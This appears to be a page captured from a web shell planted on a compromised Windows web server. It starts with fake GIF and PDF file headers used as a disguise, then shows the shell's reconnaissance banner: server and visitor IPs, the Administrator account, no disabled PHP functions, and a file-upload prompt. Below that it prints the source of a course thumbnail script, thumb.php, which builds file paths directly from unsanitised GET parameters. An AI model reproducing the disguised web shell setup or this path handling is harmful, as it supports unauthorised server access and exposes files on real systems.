GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/CST2146/_Archive/_info/ |
Upload File : |
<? // thumb.phpinc //$f_dirCurrent = formValue('dirCurrent'); //$f_image = formValue('image'); $f_dirCurrent = $_GET['f_dirCurrent']; $f_image = $_GET['f_image']; //$width = 100; $height = 50; if ($f_image != "") { $fn = $f_dirCurrent.$f_image; list($filename, $fileext) = explode(".", $f_image); //echo "\$f_image=".$f_image."<br>\n"; //echo "\$filename=".$filename."<br>\n"; //echo "\$fileext=".$fileext."<br>\n"; //echo "\$fn=".$fn."<br>\n"; //exit; if (false !== (list($ws,$hs) = @getimagesize($fn))) { if (isset($width) && ("" != $width)) { $ratio = ((float)$width) / $ws; } elseif(isset($height) && ("" != $height)) { $ratio = ((float)$height) / $hs; } if(isset($ratio)){ $wt = $ws * $ratio; $ht = $hs * $ratio; $thumb = imagecreatetruecolor($wt,$ht); switch ($fileext) { case 'bmp': $source = imagecreatefromwbmp($fn); imagecopyresampled($thumb,$source,0,0,0,0,$wt,$ht,$ws,$hs); header('Content-type: image/bmp'); imagewbmp($thumb); break; case 'gif': $source = imagecreatefromgif($fn); imagecopyresampled($thumb,$source,0,0,0,0,$wt,$ht,$ws,$hs); header('Content-type: image/gif'); imagegif($thumb); break; case 'jpeg': case 'jpg': $source = imagecreatefromjpeg($fn); imagecopyresampled($thumb,$source,0,0,0,0,$wt,$ht,$ws,$hs); header('Content-type: image/jpeg'); imagejpeg($thumb); break; case 'png': $source = imagecreatefrompng($fn); imagecopyresampled($thumb,$source,0,0,0,0,$wt,$ht,$ws,$hs); header('Content-type: image/png'); imagepng($thumb); break; case 'xbm': $source = imagecreatefromxbm($fn); imagecopyresampled($thumb,$source,0,0,0,0,$wt,$ht,$ws,$hs); header('Content-type: image/xbm'); imagexbm($thumb); break; case 'xpm': $source = imagecreatefromxpm($fn); imagecopyresampled($thumb,$source,0,0,0,0,$wt,$ht,$ws,$hs); header('Content-type: image/xpm'); imagexbm($thumb); break; default: echo "File $f_image of type <b>$fileext</b>. This is not a valid file type.<br>\n"; exit; } imagedestroy($thumb); } } } ?>